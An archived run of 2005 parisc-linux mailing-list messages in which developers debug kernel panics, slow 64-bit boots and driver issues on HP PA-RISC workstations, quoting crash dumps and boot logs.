	with ESMTP id 24505-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 07:55:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BE8CA7D653
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 07:55:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j51DtNnV026258; Wed, 1 Jun 2005 09:55:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j51DtMlE026257;
	Wed, 1 Jun 2005 09:55:22 -0400 (EDT)
In-Reply-To: <4282FEEC00007CF4@mail-2-bnl.tiscali.it> from "Joel Soete" at Jun
	1, 2005 03:11:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AQDSYp9NeSEkYr6WZHQhaXN1IGRvbwCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22752

> > > Ok clear but still confused why 32bit branch doesn't nullify the insn
> > > in delay slot like did 64bit?
> > 
> > it's a bug, but fortunately that copy of the fixup_branch macro (in
> > syscall.S) isn't actually used ;-) I'll remove it.
> > 
> mmm, it seems that I am ongoing to become blind (to miss that ?)
> ah no this the night (no idea where stand this dmaned bug) but I was just
> blind by a pocket torch thinking it would be a star :_(

I believe that there's likely more than one bug.  After working around
the memory management bug, I tried a number of gcc builds.  Two crashes
occurred as previously reported.  I also had a third crash.  In this
one, the TOC IIA Offset value pointed into "userspace".  These all
occurred with only a few hours of running time.

I then switched from vmlinux-2.6.11-pa4-c3000_defconfig to
vmlinux-2.6.8.1-pa11-c3000_defconfig.  This kernel seems ok.  It's
survived one binutils and three full gcc builds.  However, there are
seven fails in the libstdc++ testsuite that don't occur with 2.6.11.
On the otherhand, I'm seeing a few Java processes not terminate with
2.6.11-pa4.  This problem doesn't seem to be present in 2.6.8.1-pa11
and Grant's 64-bit version of 2.6.11-pa4 on gsyprf11.

I'm going to try a few more kernels to see if it's possible to isolate
the change that introduced the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Wed, 1 Jun 2005 17:05:32 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <4282FEEC00007DED@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623796 14724 80.91.229.3 (22 Nov 2014 02:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:12:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 03 Jun 2005 16:12:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95C3F7D64D;
	Fri,  3 Jun 2005 08:12:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05044-08; Fri, 3 Jun 2005 08:12:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C1D47D64B;
	Fri,  3 Jun 2005 08:12:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E5837D658
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 09:05:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24628-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 09:05:41 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 0073D7D653
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 09:05:40 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DdUmk-0003tp-DX; Wed, 01 Jun 2005 17:05:36 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 1 Jun 2005 17:05:32 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PADSYmJReSEkQb6WZHQhaXN1IGRvb0CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22753

>
> I believe that there's likely more than one bug.  After working around
> the memory management bug, I tried a number of gcc builds.  Two crashes=

> occurred as previously reported.  I also had a third crash.  In this
> one, the TOC IIA Offset value pointed into "userspace".  These all
> occurred with only a few hours of running time.
>
Sorry but I don't remember if I already mentioned some more results about=

test getting rid of cffc():
I reach to boot successfully this kernel which didn't panicing any more;
anyway after enough untar, rm the corresponding ext3 fs was switched to r=
ead-only
mode (corruption)?

> I then switched from vmlinux-2.6.11-pa4-c3000_defconfig to
> vmlinux-2.6.8.1-pa11-c3000_defconfig.  This kernel seems ok.  It's
> survived one binutils and three full gcc builds.  However, there are
> seven fails in the libstdc++ testsuite that don't occur with 2.6.11.
> On the otherhand, I'm seeing a few Java processes not terminate with
> 2.6.11-pa4.  This problem doesn't seem to be present in 2.6.8.1-pa11
> and Grant's 64-bit version of 2.6.11-pa4 on gsyprf11.
>
imho and according to my numerous test (that took me more time on b180) 2=
.6.8.1-pa11
(+some Kyle backport) seems to be rock solid, and iirc early 2.6.10 alrea=
dy
presented the pb (2.6.9 seems also?)

> I'm going to try a few more kernels to see if it's possible to isolate
> the change that introduced the problem.
>
Thanks (that's too much time I am working in blind on this pb, I very nee=
d
a breack)

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k panics
Date: Wed, 1 Jun 2005 16:04:08 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <4282FEEC00007D5D@mail-2-bnl.tiscali.it>
References: <4299F8C2.2060400@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623796 14732 80.91.229.3 (22 Nov 2014 02:36:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:13:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 03 Jun 2005 16:13:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7070F7D656;
	Fri,  3 Jun 2005 08:12:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05160-01; Fri, 3 Jun 2005 08:12:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C07E7D658;
	Fri,  3 Jun 2005 08:12:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B0897D658
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 09:25:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24628-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 09:25:28 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id F1D877D653
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 09:25:27 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DdV5T-0000XF-0c; Wed, 01 Jun 2005 17:25:11 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 1 Jun 2005 16:04:08 +0200
In-Reply-To: <4299F8C2.2060400@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JwDSYr1MeSEkWb6WZHQhaXN1IGRvb0CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22754

[snip]
> > 
> > The same for me, it seems that the pb appears during 2.6.9 developeme=
nt;
> > as far as I can test, it seems that the pb appears between 2.6.9-rc2-=
pa2
> > and pa5;
> > For my part I already tried to revert only this pa5 (just to be sure)=


> > <http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-Septem=
ber/034576.html>
...
> > 
> > So still have to revert few thing (but it would be hard like fixup 
> > stuff) to try to isolate the pb?
> > 
Well again for the record, I also reverted this (always to be shure that
this is not becuase this new fixup_branch).
but the kernel alway failed the same way i.e.:
>>IASQ: 00000000 00000000 IAOQ: 1014c10c 1014c110
>> IIR: 6b800020    ISR: 00000000  IOR: 84de0906
>> CPU:        0   CR30: 15d98000 CR31: 10450000
>> ORIG_R28: 1039a000
>> IAOQ[0]: alloc_slabmgmt+0x30/0x6c
>> IAOQ[1]: alloc_slabmgmt+0x34/0x6c
>> RP(r2): cache_grow+0xd4/0x1a8
>>Kernel panic - not syncing: Kernel Fault

I also try to re-use compile option: "cflags-y        +=3D -mdisable-fpre=
gs"
but this time the system hang without any panic (nothing in pimfo after t=
he
forced reboot) nor backtrace?
so helpless :-(

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] S3 ViRGE
Date: Wed, 1 Jun 2005 15:42:14 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <4282FEEC00007D33@mail-2-bnl.tiscali.it>
References: <20050601010422.GA17369@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623797 14735 80.91.229.3 (22 Nov 2014 02:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:37 +0000 (UTC)
To: "Stuart Brady" <sdbrady@ntlworld.com>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:13:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 03 Jun 2005 16:13:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F3E87D677;
	Fri,  3 Jun 2005 08:12:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05154-06; Fri, 3 Jun 2005 08:12:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C259B7D672;
	Fri,  3 Jun 2005 08:12:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5915E7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 10:03:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24505-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Jun 2005 10:03:09 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id B02F57D653
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Jun 2005 10:03:09 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DdVgF-0001WA-9c; Wed, 01 Jun 2005 18:02:59 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 1 Jun 2005 15:42:14 +0200
In-Reply-To: <20050601010422.GA17369@ntlworld.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KQDSYgl5eSEkRL6WZHQhaXN1IGRvb0CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22755


> 
> On Tue, May 31, 2005 at 11:09:05AM +0800, J. L. Lee wrote:
> > I have S3 Virge too but there is no configurable S3 driver in the
> > kernel configuration file.
> 
> virgefb seems to be for for Amigas only.  It might be worth trying the
X
> driver (which works for me on x86).
> -- 

Just for the record, I noticed that 2.6.11.11 patch contained:
[snip]
    [PATCH] Fix matroxfb on big-endian hardware
[snip]

Is it already part of 2.6.12-rc5?

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ccio-dma 64bit debug_init info
Date: Thu, 2 Jun 2005 18:01:20 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <4282FEEE00008707@mail-5-bnl.tiscali.it>
References: <1116610441.5174.40.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623797 14745 80.91.229.3 (22 Nov 2014 02:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:16:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 03 Jun 2005 16:16:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C191E7D64D;
	Fri,  3 Jun 2005 08:16:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05771-07; Fri, 3 Jun 2005 08:16:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C44967D651;
	Fri,  3 Jun 2005 08:16:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B2727D635
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Jun 2005 10:01:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29468-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Jun 2005 10:01:27 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 2DDA67D630
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Jun 2005 10:01:27 -0600 (MDT)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1Dds8H-0005gM-6O; Thu, 02 Jun 2005 18:01:22 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Thu, 2 Jun 2005 18:01:20 +0200
In-Reply-To: <1116610441.5174.40.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZwPSYiI/eSEkf76WZHQhaXN1IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22756


Hello James,
> 
> On Fri, 2005-05-20 at 19:16 +0200, Joel Soete wrote:
> > Btw I also have an external bootable disk narrow SE connected to the
s710
> > driver. Do you know if this one is 64bit capable?
> 
> The lasi700 driver works fine in a 64 bit kernel, yes.
> 
You have right I just reinstall an external disk on lasi700 (53c700) cont=
roler
and boot a 64bit kernel (with ncr53c8x as module) :-)

BUT it is horribly slow:
    o it takes about a 1.5 h to boot (about 5 min for its twin 32bit)
    o a ssh connection takes about a min too (only some seconds for 32bit=

kernel)

and fwiw top:
top - 13:49:13 up  1:02,  1 user,  load average: 1.98, 3.13, 3.64
Tasks:  39 total,   4 running,  35 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0% us,  0.0% sy,  0.0% ni, 100.0% id,  0.0% wa,  0.0% hi,  0.0=
%
si
Mem:    252696k total,    47148k used,   205548k free,     3192k buffers
Swap:   131928k total,        0k used,   131928k free,    27104k cached
[...]

just show an 100% idle system?

Another known issue for this kind of d model?

Any idea?

Thanks,
    Joel

btw: I read this strange messages when it init raid5
[snip]
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     : -923425.-184 MB/sec
   8regs_prefetch: 1824022.112 MB/sec
   32regs    : 328350.816 MB/sec
   32regs_prefetch: -1188109.-184 MB/sec
raid5: using function: 8regs_prefetch (1824022.112 MB/sec)
md: md driver 0.90.1 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
[snip]

while the 32bit showed me more relevant values:
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   574.400 MB/sec
   8regs_prefetch:   387.600 MB/sec
   32regs    :   447.600 MB/sec
   32regs_prefetch:   345.200 MB/sec
raid5: using function: 8regs (574.400 MB/sec)
md: md driver 0.90.1 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27

obviously I remove also raid5 support but it doesn't help :-(



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D380 attempt to boot in 64bits [Was: ccio-dma 64bit
	debug_init info]
Date: Fri, 3 Jun 2005 18:01:51 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <4282FEEC00008F40@mail-3-bnl.tiscali.it>
References: <4282FEEE00008707@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623797 14751 80.91.229.3 (22 Nov 2014 02:36:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 16:02:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 03 Jun 2005 18:02:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
